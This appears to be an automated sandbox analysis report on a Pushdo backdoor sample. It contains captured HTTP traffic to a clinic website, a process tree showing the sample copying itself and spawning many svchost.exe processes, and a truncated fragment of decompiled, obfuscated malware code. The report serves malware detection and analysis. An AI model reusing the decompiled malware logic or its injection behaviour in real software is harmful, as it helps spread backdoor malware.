2023-07-27 19:53:36 UTC	136	IN	Data Raw: 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 Data Ascii: matedblock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animate
2023-07-27 19:53:36 UTC	137	IN	Data Raw: 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 Data Ascii: c="/images/rocketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "
2023-07-27 19:53:36 UTC	139	IN	Data Raw: 74 69 63 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 Data Ascii: tico.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></fi
2023-07-27 19:53:36 UTC	140	IN	Data Raw: 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f Data Ascii: div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutto
2023-07-27 19:53:36 UTC	141	IN	Data Raw: 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f Data Ascii: er"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></
2023-07-27 19:53:36 UTC	143	IN	Data Raw: 65 63 74 65 64 5d 3c 2f 61 3e 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 43 6f 6e 73 75 6c 74 61 20 45 78 74 65 72 6e 61 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 33 2d 20 4f 70 63 69 c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 Data Ascii: ected]</a></br><br></br><strong>Citas Consulta Externa: <p>6076430023- Opcin 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><s
2023-07-27 19:53:36 UTC	144	IN	Data Raw: 6e 3c 2f 68 33 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 20 67 2d 63 6f 6e 74 61 63 74 2d 63 6f 6d 70 61 63 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 Data Ascii: n</h3><div class="g-contact g-contact-compact"><div class="g-contact-item"><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sot
2023-07-27 19:53:36 UTC	145	IN	Data Raw: 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 70 79 72 69 67 68 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f Data Ascii: ></section></div></div></div></section><section id="g-copyright"><div class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-foo
2023-07-27 19:53:36 UTC	146	IN	Data Raw: 35 30 63 0d 0a 3d 22 67 2d 73 6f 63 69 61 6c 2d 74 65 78 74 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a Data Ascii: 50c="g-social-text"></span></a></div></div></div></div></div></section></div><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/j
2023-07-27 19:53:36 UTC	148	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: CX17SY6xF6.exePID: 6512, Parent PID: 3528

General

Target ID:	0
Start time:	21:52:00
Start date:	27/07/2023
Path:	C:\Users\user\Desktop\CX17SY6xF6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\CX17SY6xF6.exe
Imagebase:	0x10d0000
File size:	647'680 bytes
MD5 hash:	CA67C9C17A701B0664B90DE372ACDFB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000000.00000002.860363475.0000000000D60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 2408, Parent PID: 3528

General

Target ID:	3
Start time:	21:52:29
Start date:	27/07/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0xef0000
File size:	647'680 bytes
MD5 hash:	CA67C9C17A701B0664B90DE372ACDFB1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000003.00000002.863723197.0000000001500000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 6996, Parent PID: 3528

General

Target ID:	4
Start time:	21:52:38
Start date:	27/07/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0xef0000
File size:	647'680 bytes
MD5 hash:	CA67C9C17A701B0664B90DE372ACDFB1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5172, Parent PID: 6512

General

Target ID:	5
Start time:	21:52:54
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 632, Parent PID: 2408

General

Target ID:	6
Start time:	21:53:31
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3864, Parent PID: 5172

General

Target ID:	7
Start time:	21:53:32
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4112, Parent PID: 5172

General

Target ID:	8
Start time:	21:53:32
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4092, Parent PID: 5172

General

Target ID:	9
Start time:	21:53:32
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5768, Parent PID: 5172

General

Target ID:	10
Start time:	21:53:33
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 21288, Parent PID: 632

General

Target ID:	11
Start time:	21:53:48
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 21840, Parent PID: 6512

General

Target ID:	12
Start time:	21:53:48
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 22764, Parent PID: 632

General

Target ID:	13
Start time:	21:53:49
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 22800, Parent PID: 632

General

Target ID:	14
Start time:	21:53:50
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 22940, Parent PID: 632

General

Target ID:	15
Start time:	21:53:50
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 23432, Parent PID: 6996

General

Target ID:	16
Start time:	21:53:55
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x1d0000
File size:	44'520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: CX17SY6xF6.exePID: 6512, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.9%
Total number of Nodes:	1250
Total number of Limit Nodes:	44

Executed Functions

Function 010D1F80 Relevance: 9.4, APIs: 6, Instructions: 417
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E010D1F80() {
				intOrPtr _t287;
				intOrPtr _t302;
				intOrPtr _t303;
				int _t309;
				intOrPtr _t322;
				signed int _t325;
				signed int _t327;
				signed int _t344;
				intOrPtr _t345;
				intOrPtr _t348;
				intOrPtr _t356;
				signed int _t394;
				signed int _t398;
				intOrPtr _t402;
				intOrPtr _t413;
				signed int _t437;
				intOrPtr _t452;
				signed int _t458;
				intOrPtr _t466;
				intOrPtr _t468;
				intOrPtr _t482;
				int* _t486;
				intOrPtr _t487;
				intOrPtr _t519;
				intOrPtr* _t520;
				void* _t521;
				void* _t522;

				_t520 = _t521 - 0x68;
				_t522 = _t521 - 0xc0;
				 *((intOrPtr*)(_t520 + 0x64)) = 0x116d5f0;
				 *( *((intOrPtr*)(_t520 + 0x64)) + 0xf8) =  *(_t520 + 0x78);
				 *(_t520 + 0x58) = 0x2565;
				 *(_t520 + 0x4c) = 0x24c7;
				 *(_t520 + 0x5c) = 0x2506;
				 *(_t520 + 0x60) = 0x2622;
				 *(_t520 + 0x54) = 0x24c7;
				 *(_t520 + 0x50) = 0x2565;
				if( *(_t520 + 0x54) < ( *(_t520 + 0x50) ^ 0x00000347)) {
					if( *(_t520 + 0x58) >  *(_t520 + 0x4c) + 0x161) {
						__eflags =  *(_t520 + 0x58) - ( *(_t520 + 0x5c) ^  *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadc71)) -  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc);
						if(__eflags >= 0) {
							__eflags =  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc) -  *(_t520 + 0x4c) *  *0x0116D694 *  *0x116d62c;
							if(__eflags >= 0) {
								 *(_t520 + 0x18) =  *(_t520 + 0x5c) *  *( *((intOrPtr*)(_t520 + 0x64)) + 0x8c);
								GetModuleHandleA( *(_t520 + 0x18));
								 *(_t520 + 4) =  *(_t520 + 0x60) -  *(_t520 + 0x60) ^ 0x00002801;
								 *(_t520 + 8) =  *(_t520 + 0x5c) *  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf4);
								_t322 =  *0x116d5ec; // 0x116d5f0
								 *(_t520 + 0xc) = ( *(_t520 + 0x60) | 0x000024c7) *  *(_t322 + 0xbadc81);
								_t413 =  *0x116d5ec; // 0x116d5f0
								 *((intOrPtr*)(_t520 + 0x10)) = _t413;
								_t325 =  *( *((intOrPtr*)(_t520 + 0x64)) + 0x8c) &  *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadbc1);
								__eflags = _t325;
								 *(_t520 + 0x14) = _t325;
								_t327 = E010E8570( *(_t520 + 4),  *(_t520 + 8),  *(_t520 + 0xc),  *((intOrPtr*)(_t520 + 0x10)),  *(_t520 + 0x14));
								_t522 = _t522 + 0x14;
								 *(_t520 + 0x5c) = _t327;
							}
						}
					} else {
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x0000003d;
						 *(_t520 + 0x4c) =  *(_t520 + 0x4c) ^ 0x000002ef;
						 *(_t520 + 0x60) =  *(_t520 + 0x60) + 0x218;
						 *(_t520 + 0x54) =  *(_t520 + 0x54) + 0x161;
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x000002ad;
						 *((intOrPtr*)(_t520 + 0x34)) =  *(_t520 + 0x50) + 0x254;
						 *((intOrPtr*)(_t520 + 0x38)) =  *(_t520 + 0x58) - 0x2a;
						 *((intOrPtr*)(_t520 + 0x3c)) =  *(_t520 + 0x4c) - 0xc3;
						 *((intOrPtr*)(_t520 + 0x40)) =  *(_t520 + 0x58) + 0x2d5;
						 *((intOrPtr*)(_t520 + 0x44)) =  *((intOrPtr*)(_t520 + 0x64));
						 *(_t520 + 0x48) =  *(_t520 + 0x54) ^ 0x000000af;
						_push( *(_t520 + 0x48));
						_push( *((intOrPtr*)(_t520 + 0x44)));
						_push( *((intOrPtr*)(_t520 + 0x40)));
						_push( *((intOrPtr*)(_t520 + 0x3c)));
						_push( *((intOrPtr*)(_t520 + 0x38)));
						_push( *((intOrPtr*)(_t520 + 0x34)));
						 *(_t520 + 0x60) = E010D3690();
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x000001a5;
						 *((intOrPtr*)(_t520 + 0x1c)) =  *(_t520 + 0x60) - 0xbd;
						 *(_t520 + 0x20) =  *(_t520 + 0x54) ^ 0x000003b0;
						 *((intOrPtr*)(_t520 + 0x24)) =  *(_t520 + 0x54) + 0xac;
						 *((intOrPtr*)(_t520 + 0x28)) =  *(_t520 + 0x5c) - 0x9b;
						 *((intOrPtr*)(_t520 + 0x2c)) =  *(_t520 + 0x58) - 0x5f;
						 *((intOrPtr*)(_t520 + 0x30)) =  *((intOrPtr*)(_t520 + 0x64));
						_push( *((intOrPtr*)(_t520 + 0x30)));
						_push( *((intOrPtr*)(_t520 + 0x2c)));
						_push( *((intOrPtr*)(_t520 + 0x28)));
						_push( *((intOrPtr*)(_t520 + 0x24)));
						_push( *(_t520 + 0x20));
						_push( *((intOrPtr*)(_t520 + 0x1c)));
						_t344 = E010D3E70();
						_t522 = _t522 + 0x30;
						 *(_t520 + 0x58) = _t344;
						 *(_t520 + 0x54) =  *(_t520 + 0x54) - 0x161;
						_t519 =  *0x116d5ec; // 0x116d5f0
						_t345 =  *0x116d5ec; // 0x116d5f0
						_t68 = _t345 + 0x94; // 0xd02000
						 *((intOrPtr*)(_t519 + 0x90)) =  *_t68;
					}
				}
				if( *(_t520 + 0x54) > ( *(_t520 + 0x58) ^ 0x00000d01)) {
					_t437 =  *0x116d628; // 0x1
					 *(_t520 - 0x38) = _t437 &  *( *((intOrPtr*)(_t520 + 0x64)) + 0xac);
					CloseHandle( *(_t520 - 0x38));
					_t348 =  *0x116d5ec; // 0x116d5f0
					_t202 = _t348 + 0xec; // 0xe608d
					 *(_t520 + 0x50) =  *(_t520 + 0x50) -  *_t202 +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xb4));
					 *(_t520 + 0x50) =  *(_t520 + 0x50) |  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc) *  *0x0116D694 -  *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0);
					GetCurrentProcessId();
					 *((intOrPtr*)(_t520 - 0x40)) = 0x28ec;
					 *((intOrPtr*)(_t520 - 0x3c)) = 0x3c28;
					 *0x116df10 = E010E5FF0(__eflags,  *((intOrPtr*)(_t520 - 0x40)),  *((intOrPtr*)(_t520 - 0x3c)));
					 *(_t520 - 0x58) =  *(_t520 + 0x54) &  *0x01D1B1DD;
					_t356 =  *0x116d5ec; // 0x116d5f0
					_t222 = _t356 + 0xf4; // 0xd3256746
					 *(_t520 - 0x54) =  *(_t520 + 0x60) +  *_t222;
					 *(_t520 - 0x50) =  *(_t520 + 0x50) * 0x26e5 *  *(_t520 + 0x60);
					 *(_t520 - 0x4c) =  *( *((intOrPtr*)(_t520 + 0x64)) + 0x14) ^ 0x000026d4;
					 *(_t520 - 0x48) =  *(_t520 + 0x50) +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xa4)) |  *(_t520 + 0x54);
					_t452 =  *0x116d5ec; // 0x116d5f0
					_t238 = _t452 + 0xb4; // 0x0
					 *(_t520 - 0x44) =  *_t238 *  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf4);
					MultiByteToWideChar( *(_t520 - 0x58),  *(_t520 - 0x54),  *(_t520 - 0x50),  *(_t520 - 0x4c),  *(_t520 - 0x48),  *(_t520 - 0x44));
					_t458 =  *(_t520 + 0x5c) | ( *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadc51) &  *0x116d6cc) - 0x000027b9;
					__eflags = _t458;
					 *(_t520 + 0x5c) = _t458;
				} else {
					 *(_t520 + 0x58) =  *(_t520 + 0x58) - 0x39;
